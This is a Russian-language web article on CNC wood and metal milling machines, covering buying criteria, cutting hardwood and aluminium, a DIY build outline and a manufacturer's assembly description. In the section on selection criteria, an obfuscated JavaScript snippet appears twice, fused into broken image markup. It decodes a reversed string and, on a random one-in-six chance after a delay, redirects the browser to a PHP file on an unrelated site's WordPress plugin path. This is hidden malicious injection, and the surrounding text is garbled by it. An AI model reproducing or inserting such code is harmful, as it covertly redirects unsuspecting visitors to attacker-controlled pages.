Фрезерный станок по дереву с чпу

Стружкообразование и как с ним бороться

Фрезеровка дерева на ЧПУ проводится в несколько заходов. Первые несколько проходов являются черновыми, при которых инструмент срезает много материала, оставляя лишь очертания будущего изделия. Далее следует чистовой проход, в процессе которого изделие обретает готовый вид и необходимую чистоту поверхности. Чистовая обработка обычно проводится конусной или цилиндрической фрезой с мелкими зубами, вращающейся с высокой скоростью и с большим количеством проходов, расположенных один за одним.

В процессе работы фрезе нередко необходимо врезаться в материал на большую глубину. Чтобы фреза не забивалась стружкой и не перегревалась, нужно обеспечить ей нормальные режимы резания, для этого нужно учитывать твердость дерева, скорость погружения, и не врезаться на большую глубину за один раз. Лучше это делать за несколько подходов.

Так как в процессе обработки деревянной заготовки образуется очень много стружки, пыли и других отходов, необходимо установить на фрезер с ЧПУ по дереву устройство, которое будет убирать стружку прямо от места реза. Работает оно по принципу пылесоса и устанавливается на оси Z, как можно ближе к рабочему инструменту.

Какими возможностями обладают мини станки с ЧПУ для дома?

Мини станки фрезерные с ЧПУ – оборудование, необходимое для открытия малого бизнеса. Благодаря компактности мини- станков, можно организовать рабочее место в гараже, даже на балконе! У многих есть своя домашняя мастерская, это идеальный вариант для размещения такого полезного оборудования. Таким станкам специального рабочего стола для установки или бетонного основания помещения не потребуется.

С помощью настольного станка можно выполнить фигурную резку, гравировку, изготовить мелкие высокоточные детали сложной криволинейной формы.

Настольные фрезеры с ЧПУ могут обрабатывать любые популярные материалы:

• древесину, акрил и пластик, гипс и воск;
• цветные металлы, такие, как медь, алюминий, латунь.

Выбор фрезерного станка по дереву

Перед покупкой оборудования следует определиться с его загрузкой и размерами деталей. Для домашней мастерской подойдет настольная модель с механическим копиром. При серьезном увлечении изготовлением уникальной мебели и для малых мебельных предприятий нужно приобрести станок 3D с ЧПУ. Большое количество совершенно одинаковых деталей за короткий промежуток времени позволит увеличить производительность предприятия, и затраты на приобретение программного блока окупятся.

Консольный фрезеровочный промышленный агрегат оправдает себя только на предприятиях массового производства крупных деталей, при раскрое листов ДВП и других элементов для мебели и строительства.

Характеристики машин

Характеристики таких станков напрямую зависят от характеристик шпинделя, скорости перемещения и размера стола. Скорость шпинделя – это диапазон частоты вращения его головки. Мощность привода – это номинальная мощность пневмо-турбины, электродвигателя или поршневого двигателя, который приводит в действие шпиндель.

Количество фрез, которые поддерживает магазин инструментов, также является важным критерием, поскольку придает станку определенную универсальность. На простых машинах одновременно может работать только один инструмент.

Параметры движения для фрезерных станков включают:

• количество осей;
• максимальное перемещение по оси X;
• максимальное перемещение по оси Y;
• максимальное перемещение по оси Z.

Что касается размера стола, то его длина измеряется параллельно главной оси движения. Ширина стола измеряется перпендикулярно главной оси движения.

На что обращать внимание при выборе

При выборе компактного станка с ЧПУ обязательно уделите внимание таким моментам:

Габариты устройства и размеры стола. От этого параметра зависит максимальный размер деталей, которые вы сможете обрабатывать;

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tov-apparata-zavisit-maksimalnyy-dopustim-600×361.jpg» alt=»От габаритов аппарата зависит максимальный допустимый размер заготовки» width=»600″ height=»361″ /> От габаритов аппарата зависит максимальный допустимый размер заготовки

• Тип силовой установки. Может быть шаговой или с сервоприводом. Первая отличается большей мощностью, но обеспечивает меньшую точность обработки;
• Мощность и частота вращения. Как правило, этот показатель обычно находится в пределах 1,5-2,5 кВт. Скорость вращения может достигать 24-25 тысяч оборотов в минуту.
  В идеале мощность и частота вращения должны регулироваться, что делает станок более функциональным;
• Блок ЧПУ. Желательно, чтобы блок ЧПУ можно было подключать к компьютеру. Это упрощает работу и увеличивает его возможности оборудования.
  В частности, подключение к компьютеру позволяет загружать готовые двухмерные и трехмерные модели. Причем, скачать модели для ЧПУ фрезерного станка можно в интернете;

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toby-blok-chpu-byl-vynesen-v-otdelnyy-600×456.jpg» alt=»Желательно чтобы блок ЧПУ был вынесен в отдельный аппарат — это предотвратит воздействие вибраций на электронную часть» width=»600″ height=»456″ /> Желательно чтобы блок ЧПУ был вынесен в отдельный аппарат — это предотвратит воздействие вибраций на электронную часть

• Тип охлаждения. Станки могут оборудоваться воздушной или водяной системой охлаждения. Если оборудование будет активно использоваться, лучше приобретать модель с водяным охлаждением, так как оно более эффективное;
• Точность позиционирования режущего элемента. От этого параметра зависит погрешность фрезерной обработки. Соответственно, чем меньше погрешность, тем точнее получаются детали, поэтому желательно чтобы точность позиционирования составляла не более 0,1 мм.

Это вся основная инструкция по выбору станка

В остальном же следует уделить внимание производителю оборудования и его функциональности

Фрезеровка древесины твердых пород

Твёрдыми породами дерева являются дуб, бук, ясень, тополь, акации и несколько других, которые в нашей стране практически не встречаются. Продукция, изготовленная из них, имеет ряд преимуществ, таких как: долговечность, высокая прочность, износостойкость (если речь идет о половых покрытиях), так же они имеют довольно красивый внешний вид даже без финишной отделки лакокрасочным слоем.

Обычно черновую обработку по дереву с ЧПУ проводят на высоких скоростях подачи для экономии времени. Но если превысить допустимую скорость для конкретного материала, на поверхности заготовки начинают появляться задиры и ворсистость, что не есть хорошо и может не убраться впоследствии чистовой обработки.

Обрабатывая древесину твердой породы, необходимо правильно располагать заготовку, учитывая направление волокон на ней, поскольку продольная и поперечная обработка значительно отличаются между собой. Особенно это отличие заметно при фрезеровании углублений и пазов.

Затраты на электроэнергию, амортизацию оборудования и оплату труда при фрезеровании твердых пород дерева значительно выше, чем при обработке мягкой древесины, что может повлечь за собой увеличение себестоимости конечного изделия.

Резка алюминия и как получить хорошие результаты

Баланс: Фрезерный станок по металлу с высокой скоростью подачи и очень малой глубиной за проход позволяет хорошо охлаждать фрезу. Она будет проходить по заготовке из алюминиевого сплава достаточно быстро, чтобы охладить себя, но, если инструмент задержится слишком долго (медленная подача и глубокая глубина за проход) в одном и том же месте, он будет нагреваться и плавить место реза на заготовке из-за трения. Следует учитывать, что фрезерные станки с ЧПУ практически любого типа могут успешно разрезать алюминий.

Рассмотрим такую аналогию: взрослый может выкопать яму довольно быстро и набирать большое количество песка в лопату за раз. Ребенок может копать песок тоже, но только царапать поверхность раз за разом, а не набирать полную лопату. Ребенок, в конце концов, достигнет такой же глубины, что и взрослый, но это займет немного больше времени.

Проблема: ребенок не использует лопату наиболее эффективно, потому что острый кончик лопаты будет затупляться быстрее, чем верхняя часть лопаты, тогда как взрослый будет равномерно работать всей лопатой. Так обстоит дело и с торцевыми фрезами. Чем глубже вы сможете пройти по заготовке фрезой, тем более равномерно она будет изнашиваться, продлевая свой срок службы.

Итак, какие же параметры должны быть соблюдены? Это важный вопрос, потому что результат может вылиться в копеечку. У нас есть хороший пример. Как уже было написано выше, используется компактный фрезерный станок по металлу с ЧПУ и вихревая система для продувки фрезы воздухом с температурой -50 градусов

Разрезаемый материал марки 6061, который является структурным сортом алюминия, а его толщина составляет 5 мм, но не важно, так как резка производится с большим количеством проходов. Чем толще материал, тем дольше потребуется времени на обработку, впрочем, это и так ясно

Для резки используется китайский шпиндель со скоростью 13 000 оборотов в минуту. Скорость подачи (скорость, с которой концевая фреза проходит через разрез) устанавливается между 300 и 430 мм/мин. Глубина за проход – это важный параметр, который следует тщательно подбирать. Компания Onsrud, имеющая большой опыт в производстве торцевых фрез, рекомендует, чтобы глубина за проход составляла 1/2 диаметра режущей части фрезы. Для 3 мм концевой фрезы — это около 1,5 мм, но для чистовой обработки все же лучше брать глубину, равную четверти диаметра режущего инструмента.

При резке металла вибрация заготовки является основной проблемой, которую необходимо устранить. В домашних условиях можно использовать самые различные способы фиксации, начиная от струбцин и заканчивая специальным вакуумным столом. Независимо от того, какой метод зажима или закрепления используется, убедитесь, что он вообще не будет двигаться и что зажим (винты, хомут) находится как можно ближе к месту реза.

Подведем итоги

Исходя из вышесказанного, можно выделить такие пункты, запомнив которые фрезеровать металл станет гораздо проще:

1. Не торопитесь. Лучше потратить больше времени на обработку, чем убить гору недешевого инструмента и испортить не одну заготовку.
2. Используйте твердосплавные фрезы. Именно они будут служить очень долго при правильно подобранных режимах резания. И желательно покупать фрезы проверенных производителей и в специализированных магазинах.
3. Используйте фрезы меньшего диаметра. Лучше сделать больше проходов и получить красивое место реза, чем снять килограмм алюминия за один рез, выбросить «сгоревший» инструмент и увидеть оборванные края заготовки.
4. Не параноить по поводу чистки мест реза. Не нужно стоять со щеткой или пылесосом над заготовкой, которую обрабатываете, достаточно в конце просто смести все отходы или собрать их магнитом (если это ферромагнитный материал).
5. Смазывать рабочий инструмент туманом из охлаждающей жидкости. Эффект «тумана» достигается при использовании специального штуцера на подающем жидкость патрубке.
6. Не замедляйте подачу слишком сильно. При слишком медленной подаче фреза вместо того, чтобы резать материал, начинает тереться о него и очень сильно греться, что приводит к перегреву инструмента и оплавлению места реза (если заготовка из легкоплавкого материала).
7. Если ваши станки по металлу не имеют достаточно быстрой подачи, используйте меньшее количество проходов и увеличьте диаметр фрезы.

Руководство

Это руководство нацелено на то, чтобы не дать вам совершить те же ошибки, на которые я потратил свое драгоценное время и деньги.

Мы рассмотрим все компоненты вплоть до болтов, глядя на преимущества и недостатки каждого типа каждой детали. Я расскажу о каждом аспекте проектирования и покажу, как создать ЧПУ фрезерный станок своими руками. Проведу вас через механику к программному обеспечению и всему промежуточному.

ДАВАЙТЕ НАЧНЕМ

ШАГ 1: Ключевые конструктивные решения

В первую очередь необходимо рассмотреть следующие вопросы:

1. Определение подходящей конструкции конкретно для вас (например, если будете делать станок по дереву своими руками).
2. Требуемая площадь обработки.
3. Доступность рабочего пространства.
4. Материалы.
5. Допуски.
6. Методы конструирования.
7. Доступные инструменты.
8. Бюджет.

ШАГ 2: Основание и ось X-оси

Тут рассматриваются следующие вопросы:

1. Проектирование и построение основной базы или основания оси X.
2. Разбивка различных конструкций на элементы.
3. Жестко закрепленные детали.
4. Частично закрепленные детали и др.

ШАГ 3: Проектирование козловой оси Y

В этом пункте рассматриваются следующие вопросы:

1. Проектирование и строительство портальной оси Y.
2. Разбивка различных конструкций на элементы.
3. Силы и моменты на портале и др.

ШАГ 4: Схема сборки оси Z

Здесь рассматриваются следующие вопросы:

1. Проектирование и сборка сборки оси Z.
2. Силы и моменты на оси Z.
3. Линейные рельсы / направляющие и расстояние между подшипниками.
4. Выбор кабель-канала.

ШАГ 5: Линейная система движения

В этом пункте рассматриваются следующие вопросы:

1. Подробное изучение систем линейного движения.
2. Выбор правильной системы конкретно для вашего станка.
3. Проектирование и строительство собственных направляющих при малом бюджете.
4. Линейный вал и втулки или рельсы и блоки?

ШАГ 6: Компоненты механического привода

В этом пункте рассматриваются следующие аспекты:

1. Детальный обзор частей привода.
2. Выбор подходящих компонентов для вашего типа станка.
3. Шаговые или серводвигатели.
4. Винты и шарико-винтовые пары.
5. Приводные гайки.
6. Радиальные и упорные подшипники.
7. Муфта и крепление двигателя.
8. Прямой привод или редуктор.
9. Стойки и шестерни.
10. Калибровка винтов относительно двигателей.

ШАГ 7: Выбор двигателей

В этом шаге необходимо рассмотреть:

1. Подробный обзор двигателей с ЧПУ.
2. Типы двигателей с ЧПУ.
3. Как работают шаговые двигатели.
4. Типы шаговых двигателей.
5. Как работают сервомоторы.
6. Типы серводвигателей.
7. Стандарты NEMA.
8. Выбор правильного типа двигателя для вашего проекта.
9. Измерение параметров мотора.

ШАГ 8: Конструкция режущего стола

В этом шаге рассматриваются следующие вопросы:

1. Проектирование и строительство собственных столов при малом бюджете.
2. Перфорированный режущий слой.
3. Вакуумный стол.
4. Обзор конструкций режущего стола.
5. Стол можно вырезать при помощи фрезерного станка с ЧПУ по дереву.

ШАГ 9: Параметры шпинделя

В этом шаге рассматриваются следующие вопросы:

1. Обзор шпинделей с ЧПУ.
2. Типы и функции.
3. Ценообразование и затраты.
4. Варианты монтажа и охлаждения.
5. Системы охлаждения.
6. Создание собственного шпинделя.
7. Расчет нагрузки стружки и силы резания.
8. Нахождение оптимальной скорости подачи.

ШАГ 10: Электроника

В этом пункте рассматриваются следующие вопросы:

1. Панель управления.
2. Электропроводка и предохранители.
3. Кнопки и переключатели.
4. Круги MPG и Jog.
5. Источники питания.

ШАГ 11: Параметры контроллера Программного Управления

В этом шаге рассматриваются следующие вопросы:

1. Обзор контроллера ЧПУ.
2. Выбор контроллера.
3. Доступные опции.
4. Системы с замкнутым контуром и разомкнутым контуром.
5. Контроллеры по доступной цене.
6. Создание собственного контроллера с нуля.

ШАГ 12. Выбор программного обеспечения

В этом пункте рассматриваются следующие вопросы:

1. Обзор программного обеспечения, связанного с ЧПУ.
2. Подбор программного обеспечения.
3. Программное обеспечение CAM.
4. Программное обеспечение САПР.
5. Програмное обеспечение NC Controller.

——————————————————————————————————————————————————–

Какими дополнительными возможностями обладают станки?

Удобное применение оборудования обеспечивается не только наличием большого количества функций, необходимых непосредственно для работы с деталями, так и дополнительных возможностей, которые делают работу станка более эффективной и бесперебойной:

1. Стабилизатор напряжения промышленного типа предназначаются для защиты от повышенных нагрузок при перенапряжении электросети и перегрева;
2. Специальное программное обеспечение с уникальным набором рабочих инструментов, которые требуются для тщательной обработки исходного материала и моделирования нужных изделий. Возможность самостоятельно задавать и регулировать числовое значение параметров позволяет в короткий срок изготавливать 2D или 3D-продукцию разных размеров.

Именно гибкость в эксплуатации, а также многофункциональность делают станок с ЧПУ незаменимым как на небольших, так и на крупных предприятиях, специализирующихся на производстве деревянной продукции.

Дополнительные возможности

В некоторых моделях рабочий стол отсутствует: в станках серии BMX заготовка крепится к поперечным швеллерам рамы, станки серии SKL ориентированы на обработку заготовок, крепящихся к тому же основанию, что и рама, и на обработку самой плоскости основания (пример – фрезерная обработка и гравировка габаритных каменных плит). Но опционально мы можем смонтировать рабочий стол из алюминиевого профиля T-slot и на таких станках.

Станки серий SKL и VSK оснащаются управляемой четвертой осью, используемой для 3D-обработки цилиндрических заготовок диаметром до 250 мм и длиной до 800 мм.

Станки Cutter комплектуются немецкими шпинделями Cress. В каждой конкретной модели устанавливается шпиндель определенной мощности, но в некоторых станках она может быть увеличена.

Шпиндели охлаждаются воздухом, но опционально возможна и установка водяного охлаждения.

Еще один параметр, который мы изменяем по просьбе заказчика, чтобы оборудование подходило для решения ставящихся перед ним задач – величина хода шпинделя по оси Z.

Возможность внесения конструкционных изменений указана в описаниях к станкам в каталоге. Но, поскольку мы совершенствуем технологический процесс и развиваем производство, некоторые данные могут там отсутствовать. Для получения ответов на интересующие вас вопросы по модернизации станка под конкретные задачи рекомендуем связаться с менеджерами (кнопка слева «задать вопрос»).

Принцип работы фрезерного станка с ЧПУ

Рассмотрим кратко работу станка фрезерного с ЧПУ:

1. Движение по осям X, Y, Z осуществляется двигателем, запитанным переменным или постоянным током.
2. Движение части машины выполняется путем подачи команд.
3. Все операции выполняются с помощью таких кодов, как скорость, подача, глубина резания и т. д.
4. Для каждой операции предназначен отдельный код.
5. Предусмотрена система предупреждения (индикаторы и концевые выключатели) для защиты различных операций и компонентов.

Фрезерные станки перемещают деталь относительно неподвижного инструмента или подводят фрезу к зафиксированной на столе детали в вертикальном или горизонтальном направлениях по осям X, Y и Z.

Описание конструкции

Существует много видов фрезерных ЧПУ станков для работы с древесиной. Они отличаются друг от друга, но схожи по строению.

Основные детали – станина, суппорты, фрезерный стол, шпиндель, режущий инструмент. В некоторых аппаратах присутствует дополнительная комплектация, главной частью которой является каретка. Она позволяет работать под разными углами.

Описание деталей:

1. Фрезерный стол – основа конструкции, рабочая площадь
2. Суппорты – используются для закрепления рабочих инструментов.
3. Станина – скрепляет детали конструкции.
4. Шпиндель – устройство закрепляющее обрабатываемую заготовку при работе. Вращает заготовку при работе. Чем выше скорость вращение, тем выше качество изделий.
5. Режущий инструмент – используется для обработки материала.

Режущие инструменты отличаются в каждом виде оборудования. В основном используются ножи, диски, фрезы и сверла.

Ещё одна деталь: если вы приобретаете агрегат для проведения высокоточной обработки, то обратите внимание на шпиндель. Скорость вращения напрямую влияет на точность обработки

Ещё одним преимуществом фрезерных ЧПУ станков является безопасность. Инструменты имеют безопасное строение и расположение.

Описание фрезерных станков

Фрезерные станки ЧПУ применяются в разных видах обработки. Часто используется для фрезерования, резки и обработки деревянных заготовок.

Аппарат делает работу точнее, повышая качество детализации изделия. С помощью фрезерно-столярного оборудования можно создавать некоторые декоративные элементы.

При работе редко используется исходный набор инструментов. Как правило, опытные мастера пользуются дополнительным инструменталом, что расширяет функционал и позволяет работать со сложными заготовками.

Такие виды станков не используются на промышленных предприятиях. Покупателями являются владельцы домашних мастерских и малых производств.

Достоинства

Главными преимуществами станка, контролируемого компьютерной программой, являются точность и скорость деревообработки, которые дают возможность производить обработку как плоских деталей (2d) так и объемных (3d), имеющих самые разнообразные по размеру и сложности элементы. Сам процесс полностью автоматизирован, что полностью исключает человеческий фактор из процесса фрезерования.

Также неоспоримым плюсом можно назвать визуализацию, которая позволяет увидеть готовое изделие на мониторе компьютера еще до начала фрезеровки. Благодаря этому можно быть полностью уверенным в том, что на выходе получится именно то изделие, которое вы видели на экране.

Станки Cutter. Краткое описание производственного процесса

При сборке рамы для мало- и среднегабаритных станков мы используем панели из закаленного и состаренного алюминия и станочные алюминиевые профили. Применение алюминия снижает вес конструкции, особая форма профиля повышает ее прочность. Используемые профили изготавливаются методом горячей экструзии по чертежам, разрабатываемым нами для каждой модели станка отдельно, с учетом нагрузки на раму. Для улучшения шероховатости и предотвращения окисления поверхность анодируется. В конструкции широкоформатных станков рама усиливается стальными элементами.

В процессе сборки применяются только болтовые соединения. Мы не используем сварку, чтобы не создавать дополнительных напряжений в элементах рамы и местах стыков, поэтому основание сохраняет стабильность своей геометрии даже в условиях интенсивной эксплуатации станка.

После сборки рамы она проверяется на перпендикулярность сопрягаемых элементов и плоскостность основания. Далее монтируется рама портала, шарико-винтовые передачи и их опоры, направляющие. В малогабаритных станках используются цилиндрические рельсы SBR, в широкоформатных – профильные GR. Подключаются шаговые приводы, укладываются кабель-каналы, опционально (в зависимости от модели) монтируется рабочий стол.

Конструкция еще раз проверяется на жесткость и прямолинейность. Монтируется шпиндель, подключается управляющая электроника. Станок, готовый для проведения тестирования:

Последний этап – подключение кабелей приводов и шпинделя к блоку управления и проведение пуско-наладочных работ. Подробнее процесс подключения и проверки станка описан в видео.

Дополнительные приспособления

Естественно, производители такого оборудования стараются внедрять автоматику практически на всех этапах выполнения работ. К примеру, система АТС позволяет максимально быстро сменить режущие элементы автоматически, без участия оператора.

Для выполнения объемной резки эта функция позволяет увеличить скорость работы над изделием. Вот такие объемные картины предполагают использование сразу нескольких насадок для резки.

Среди дополнительных элементов широко используются защитные устройства для направляющих, автоматическая подача смазывающих и охлаждающих жидкостей.